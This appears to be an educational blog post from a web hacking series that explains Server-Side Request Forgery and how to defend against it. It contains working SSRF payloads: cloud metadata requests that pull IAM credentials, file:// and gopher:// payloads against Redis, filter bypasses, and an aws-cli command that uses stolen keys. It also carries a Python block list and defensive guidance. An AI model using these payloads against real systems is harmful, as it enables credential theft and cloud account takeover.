Web Hacking Series - Part 12: Server-Side Request Forgery (SSRF) 🌐🎭🚀

rocky

{**SSRF**?}

Hey guys, Rocky here! 🌐🔓

Welcome to Day 12 of the Daily Web Hacking series! Today, we’re tackling Part 12: Server-Side Request Forgery (SSRF)—the attack that turns web servers into unwilling spies, leaking secrets from internal networks, cloud environments, and even your coffee machine (if it’s connected to the internet). Let’s dive into how hackers exploit trust to attack systems from the inside.

—

What is SSRF?

Server-Side Request Forgery (SSRF) allows attackers to force a server to send unauthorized requests to internal or external systems. By abusing server trust, hackers can:

Access restricted internal networks.
Steal cloud metadata (e.g., AWS keys, Google Cloud tokens).
Exploit legacy services (e.g., Redis, databases).
Escalate to Remote Code Execution (RCE).

Why it’s dangerous:

Ranked #10 in the OWASP Top 10 (2021).
Affects 30% of web apps (PortSwigger, 2023).
Cloud environments are especially vulnerable (e.g., AWS, Azure).

—

How SSRF Works: The Server as a Puppet

Imagine a hotel concierge (the server) who blindly fetches anything guests ask for. SSRF is like handing the concierge a note saying:

“Please bring me the master key from the back office.”

Technical Example:
A weather app fetches data from a user-provided URL:

import requests  
url = request.GET.get('url')  
data = requests.get(url).json()

An attacker submits:

url=http://169.254.169.254/latest/meta-data/

Result: The server leaks AWS cloud metadata, including IAM credentials!

—

Types of SSRF

1. Basic SSRF

Direct Response: The server returns the response of the internal request.

Example:

  GET /fetch?url=file:///etc/passwd HTTP/1.1

2. Blind SSRF

No Direct Output: The server makes the request but doesn’t return data.
Exploit via:
- Time delays: Detect open/closed ports based on response time.
- DNS/HTTP callbacks: Use tools like Burp Collaborator.

3. SSRF to RCE

Chain with Other Vulns: Exploit internal services (e.g., Redis, Jenkins).

Example:

  url=dict://127.0.0.1:6379/CONFIG SET dir /tmp

—

Real-World SSRF Disasters

Capital One (2019): SSRF exploited AWS metadata to steal 106M records.
Shopify (2016): Attacker accessed internal services via image proxy SSRF.
Microsoft (2020): Azure SSRF flaw exposed customer data.

Lesson: SSRF is a cloud killer.

—

Step-by-Step Exploitation

Goal: Steal AWS credentials from a vulnerable cloud instance.

1. Find an SSRF Vector

Look for parameters that accept URLs:
- Image uploads, webhooks, PDF generators, APIs.

Example endpoint:

  GET /proxy?url=https://example.com

2. Test with Internal IPs

Fetch AWS metadata:

  GET /proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

3. Extract Credentials

Response:

  {  
    "AccessKeyId": "ASIAXXXXX",  
    "SecretAccessKey": "YYYYY",  
    "Token": "ZZZZZ"  
  }

4. Escalate to Cloud Account Takeover

Use stolen keys with aws-cli:

  AWS_ACCESS_KEY_ID=ASIAXXXXX AWS_SECRET_ACCESS_KEY=YYYYY aws s3 ls

—

Advanced SSRF Techniques

1. Bypassing Filters

URL Encoding:

  url=http://%31%36%39%2e%32%35%34%2e%31%36%39%2e%32%35%34

Decodes to 169.254.169.254.

Domain Obfuscation:

  url=http://169.254.169.254.nip.io  # Resolves to 169.254.169.254

2. Exploiting URL Schemas

file://: Read local files.

  url=file:///etc/passwd

gopher://: Send raw TCP packets (exploit Redis, MySQL).

  url=gopher://127.0.0.1:6379/_*2%0d%0a$4%0d%0aINFO%0d%0a

dict://: Enumerate ports/services.

  url=dict://127.0.0.1:22/info

3. Port Scanning

Detect open ports via response time:

  url=http://127.0.0.1:22  # Fast response → port open  
  url=http://127.0.0.1:1234 # Slow response → port closed

—

SSRF in Cloud Environments

1. AWS Metadata

Endpoint: http://169.254.169.254/latest/meta-data/
Steal IAM roles, temporary credentials, and user data.

2. Google Cloud

Endpoint: http://metadata.google.internal/computeMetadata/v1/
Headers: Metadata-Flavor: Google

3. Azure

Endpoint: http://169.254.169.254/metadata/instance?api-version=2021-02-01
Headers: Metadata: true

—

Tools for SSRF Exploitation

1. Burp Suite

Collaborator: Detect blind SSRF via DNS/HTTP callbacks.
Intruder: Brute-force internal IPs/ports.

2. SSRFmap

Automated SSRF exploitation:

  python3 ssrfmap.py -r req.txt -p url -m cloud

3. Gopherus

Generate exploits for Redis, MySQL, etc.:

  gopherus --exploit redis

—

Defending Against SSRF

For Developers

Input Validation

Block internal IPs, domains, and dangerous schemas (file://, gopher://).

Python Example:

     from urllib.parse import urlparse  
     domain = urlparse(url).hostname  
     if domain in ["localhost", "169.254.169.254"]:  
         raise ValueError("Invalid URL!")

Use Allowlists

Restrict URLs to trusted domains:

     allowed_domains = ["api.trusted.com"]  
     if urlparse(url).hostname not in allowed_domains:  
         raise ValueError("Blocked domain!")

Disable Unused Schemas
- Allow only HTTP/HTTPS in URL parsers.

For Cloud Admins

Restrict Metadata Access
- AWS: Use IMDSv2 and disable legacy metadata.
- Google Cloud: Block metadata access for non-essential services.
Network Segmentation
- Place sensitive services in private subnets.
Monitor Outbound Traffic
- Alert on requests to internal IPs or metadata endpoints.

—

Practice Legally: Labs & Challenges

PortSwigger Labs:
- Free labs: SSRF.
Hack The Box:
- Machines like Late (SSRF to RCE) and OpenAdmin (cloud SSRF).
AWS Goat:
- Deliberately vulnerable AWS environment for SSRF practice.

—

Ethical Hacking & Reporting

Never exploit SSRF without authorization. If you find a flaw:

Document: Record steps to reproduce.
Report: Use the vendor’s bug bounty program or security contact.
Disclose: Wait for a fix before public disclosure.

—

What’s Next? Part 13: Insecure Direct Object References (IDOR)

Tomorrow, we’ll explore IDOR—accessing unauthorized data by tampering with IDs (e.g., /user?id=123 → /user?id=456). Sneak peek:

GET /profile?user_id=1337 HTTP/1.1  # Change 1337 to 1338

—

Final Thoughts

SSRF is a masterclass in abusing trust. By validating inputs, segmenting networks, and hardening cloud environments, you can turn your servers from liabilities into fortresses. Remember: In cybersecurity, trust is earned—never given.

Rocky out! ✌️

—

P.S. If you’re loving this series, share it with your hacking squad! Let’s turn newbies into cloud warriors.

Discussion Question: What’s the craziest internal system you’ve accessed via SSRF? I once found a smart fridge on a corporate network. 😅 Spill your stories below! 👇